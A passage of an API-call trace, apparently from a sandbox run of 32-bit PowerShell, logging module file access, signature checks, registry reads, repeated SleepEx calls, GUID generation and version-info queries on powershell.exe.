lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0201.463] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x730f77c) returned 1 [0201.464] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3f0 [0201.465] GetFileType (hFile=0x3f0) returned 0x1 [0201.465] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x730f778) returned 1 [0201.465] GetFileType (hFile=0x3f0) returned 0x1 [0201.560] WTGetSignatureInfo () returned 0x0 [0204.913] CertDuplicateCertificateContext (pCertContext=0x7613d58) returned 0x7613d58 [0205.168] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x730f7e0 | out: phkResult=0x730f7e0*=0x62c) returned 0x0 [0205.169] RegQueryValueExW (in: hKey=0x62c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x730f800, lpData=0x0, lpcbData=0x730f7fc*=0x0 | out: lpType=0x730f800*=0x1, lpData=0x0, lpcbData=0x730f7fc*=0x56) returned 0x0 [0205.169] RegQueryValueExW (in: hKey=0x62c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x730f800, lpData=0x5095a0c, lpcbData=0x730f7fc*=0x56 | out: lpType=0x730f800*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x730f7fc*=0x56) returned 0x0 [0205.169] RegCloseKey (hKey=0x62c) returned 0x0 [0205.170] CoTaskMemAlloc (cb=0x10) returned 0x768b610 [0205.170] CoTaskMemAlloc (cb=0x30) returned 0x7643888 [0205.171] WinVerifyTrust () returned 0x0 [0205.175] CoTaskMemFree (pv=0x7643888) [0205.175] CoTaskMemFree (pv=0x768b610) [0205.176] CertFreeCertificateContext (pCertContext=0x7613d58) returned 1 [0205.177] CloseHandle (hObject=0x3f0) returned 1 [0205.181] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.310] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.412] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.568] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.662] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.785] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0205.954] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.094] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.180] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.288] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.350] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.402] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.538] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.681] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.749] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.837] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0206.964] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.049] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.221] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.352] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.379] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.407] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.419] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.427] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.433] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.531] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.552] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.622] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.742] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.870] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0207.966] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.175] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.346] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.420] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.483] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.585] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.640] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.674] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.727] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.749] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.770] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.846] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.850] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0208.868] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.004] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0209.131] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0213.847] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0213.957] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0214.019] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0214.051] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0214.059] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0214.082] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0214.149] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0214.390] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0214.530] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x730f748 | out: phkResult=0x730f748*=0x69c) returned 0x0 [0214.530] RegQueryValueExW (in: hKey=0x69c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x730f768, lpData=0x0, lpcbData=0x730f764*=0x0 | out: lpType=0x730f768*=0x1, lpData=0x0, lpcbData=0x730f764*=0x56) returned 0x0 [0214.530] RegQueryValueExW (in: hKey=0x69c, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x730f768, lpData=0x5155a5c, lpcbData=0x730f764*=0x56 | out: lpType=0x730f768*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x730f764*=0x56) returned 0x0 [0214.531] RegCloseKey (hKey=0x69c) returned 0x0 [0214.588] CoCreateGuid (in: pguid=0x730f6f0 | out: pguid=0x730f6f0*(Data1=0x56906ba, Data2=0xf819, Data3=0x40fb, Data4=([0]=0x89, [1]=0x44, [2]=0x83, [3]=0x49, [4]=0xb6, [5]=0x76, [6]=0xd0, [7]=0xc4))) returned 0x0 [0214.589] CoCreateGuid (in: pguid=0x730f6f0 | out: pguid=0x730f6f0*(Data1=0x6190cb50, Data2=0x6c4a, Data3=0x4693, Data4=([0]=0x8b, [1]=0xe2, [2]=0xdb, [3]=0x77, [4]=0xa5, [5]=0x95, [6]=0x77, [7]=0xeb))) returned 0x0 [0214.589] CoCreateGuid (in: pguid=0x730f6f0 | out: pguid=0x730f6f0*(Data1=0xdf40a2f4, Data2=0x5c17, Data3=0x42f7, Data4=([0]=0x94, [1]=0x9a, [2]=0xe9, [3]=0x38, [4]=0xfd, [5]=0xa0, [6]=0x9e, [7]=0xa9))) returned 0x0 [0214.589] CoCreateGuid (in: pguid=0x730f6f0 | out: pguid=0x730f6f0*(Data1=0x1fe19817, Data2=0x6b0e, Data3=0x4e5e, Data4=([0]=0xa5, [1]=0x8f, [2]=0xa0, [3]=0x17, [4]=0x5e, [5]=0xa4, [6]=0x84, [7]=0x7))) returned 0x0 [0214.627] CoCreateGuid (in: pguid=0x730f6f0 | out: pguid=0x730f6f0*(Data1=0x4a73ec45, Data2=0xb665, Data3=0x46ce, Data4=([0]=0xab, [1]=0x4, [2]=0xa3, [3]=0x9, [4]=0x4b, [5]=0x4, [6]=0xa2, [7]=0xf3))) returned 0x0 [0214.627] CoCreateGuid (in: pguid=0x730f6f0 | out: pguid=0x730f6f0*(Data1=0x2c36c8dd, Data2=0xa28a, Data3=0x4772, Data4=([0]=0x89, [1]=0x7a, [2]=0x86, [3]=0x57, [4]=0x59, [5]=0x1d, [6]=0x3f, [7]=0x9c))) returned 0x0 [0216.209] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0216.482] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0216.728] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0216.816] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0217.048] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0217.101] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0217.173] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0217.249] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0217.301] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0217.446] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0217.767] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0217.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.072] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.161] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.256] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.349] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.413] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.472] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.541] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.587] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.688] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.801] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0218.857] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.013] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.020] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.039] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.105] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.109] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.203] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.239] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.258] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.293] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.356] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.361] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.397] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.487] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.532] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0236.535] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0238.780] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.453] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.562] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.674] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.769] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0239.827] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0244.959] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.050] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.228] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.367] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.567] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.729] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.802] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0245.900] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.009] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.114] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.391] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.489] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.536] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.726] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.830] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0246.923] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.002] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.080] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.299] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.411] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.455] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0247.517] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0251.995] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.071] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.250] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.362] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.500] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.588] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.693] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.786] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0252.970] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.064] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.314] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.409] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.501] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.595] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.689] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0253.782] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0264.838] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0265.085] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0265.241] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.103] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.216] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.313] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.494] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.584] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.678] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0266.993] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.093] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.170] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.268] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.347] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.467] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.632] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.702] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.799] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0267.995] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.095] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.165] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.225] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.269] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0268.345] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.482] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.579] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.634] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.676] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.751] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0271.984] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.084] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.157] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.346] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.515] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.629] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.719] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0272.817] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.052] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.144] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.267] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.345] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.452] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.549] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.630] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.736] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0273.829] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0274.016] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0289.451] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0289.811] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.002] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.059] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.111] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.177] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.186] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.201] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.245] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.289] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.357] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.428] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.527] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.539] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.600] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.616] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.649] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.689] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.698] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.765] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.844] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0290.906] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0291.063] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0291.092] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0291.156] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0291.251] SleepEx (dwMilliseconds=0x0, bAlertable=0) Thread: id = 185 os_tid = 0xe14 Thread: id = 187 os_tid = 0x514 Thread: id = 188 os_tid = 0xd38 Thread: id = 189 os_tid = 0xdf0 [0202.787] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0202.788] CoGetContextToken (in: pToken=0x760f904 | out: pToken=0x760f904) returned 0x0 [0202.788] CObjectContext::QueryInterface () returned 0x0 [0202.788] CObjectContext::GetCurrentThreadType () returned 0x0 [0202.788] Release () returned 0x0 [0202.788] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0202.788] CoUninitialize () [0202.788] RoInitialize () returned 0x1 [0202.788] RoUninitialize () returned 0x0 [0203.137] GetCurrentProcessId () returned 0x9d0 [0203.137] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x9d0) returned 0x5f4 [0203.137] EnumProcessModules (in: hProcess=0x5f4, lphModule=0x5084928, cb=0x100, lpcbNeeded=0x760f41c | out: lphModule=0x5084928, lpcbNeeded=0x760f41c) returned 1 [0203.137] GetModuleInformation (in: hProcess=0x5f4, hModule=0x12c0000, lpmodinfo=0x5084a68, cb=0xc | out: lpmodinfo=0x5084a68*(lpBaseOfDll=0x12c0000, SizeOfImage=0x6c000, EntryPoint=0x12c95f0)) returned 1 [0203.138] CoTaskMemAlloc (cb=0x804) returned 0x76b7b40 [0203.138] GetModuleBaseNameW (in: hProcess=0x5f4, hModule=0x12c0000, lpBaseName=0x76b7b40, nSize=0x800 | out: lpBaseName="powershell.exe") returned 0xe [0203.138] CoTaskMemFree (pv=0x76b7b40) [0203.138] CoTaskMemAlloc (cb=0x804) returned 0x76b7b40 [0203.138] GetModuleFileNameExW (in: hProcess=0x5f4, hModule=0x12c0000, lpFilename=0x76b7b40, nSize=0x800 | out: lpFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0203.138] CoTaskMemFree (pv=0x76b7b40) [0203.138] CloseHandle (hObject=0x5f4) returned 1 [0203.139] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x104, lpBuffer=0x11fcf28, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0203.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x760f39c) returned 1 [0203.139] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe"), fInfoLevelId=0x0, lpFileInformation=0x760f418 | out: lpFileInformation=0x760f418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9fdc1d0a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9fdc1d0a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9fdc1d0a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x69000)) returned 1 [0203.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x760f398) returned 1 [0203.139] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", lpdwHandle=0x760f48c | out: lpdwHandle=0x760f48c) returned 0x72c [0203.139] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", dwHandle=0x0, dwLen=0x72c, lpData=0x5086c58 | out: lpData=0x5086c58) returned 1 [0203.139] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x760f460, puLen=0x760f45c | out: lplpBuffer=0x760f460*=0x5086fe8, puLen=0x760f45c) returned 1 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\CompanyName", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x5086d10, puLen=0x760f3dc) returned 1 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileDescription", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x5086d64, puLen=0x760f3dc) returned 1 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\FileVersion", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x5086dac, puLen=0x760f3dc) returned 1 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\InternalName", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x5086e14, puLen=0x760f3dc) returned 1 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalCopyright", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x5086e50, puLen=0x760f3dc) returned 1 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\OriginalFilename", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x5086ed4, puLen=0x760f3dc) returned 1 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductName", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x5086f1c, puLen=0x760f3dc) returned 1 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\ProductVersion", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x5086f8c, puLen=0x760f3dc) returned 1 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\Comments", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x0, puLen=0x760f3dc) returned 0 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\LegalTrademarks", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x0, puLen=0x760f3dc) returned 0 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, lpSubBlock="\\\\StringFileInfo\\\\040904B0\\\\PrivateBuild", lplpBuffer=0x760f3e0, puLen=0x760f3dc | out: lplpBuffer=0x760f3e0*=0x0, puLen=0x760f3dc) returned 0 [0203.140] VerQueryValueW (in: pBlock=0x5086c58, 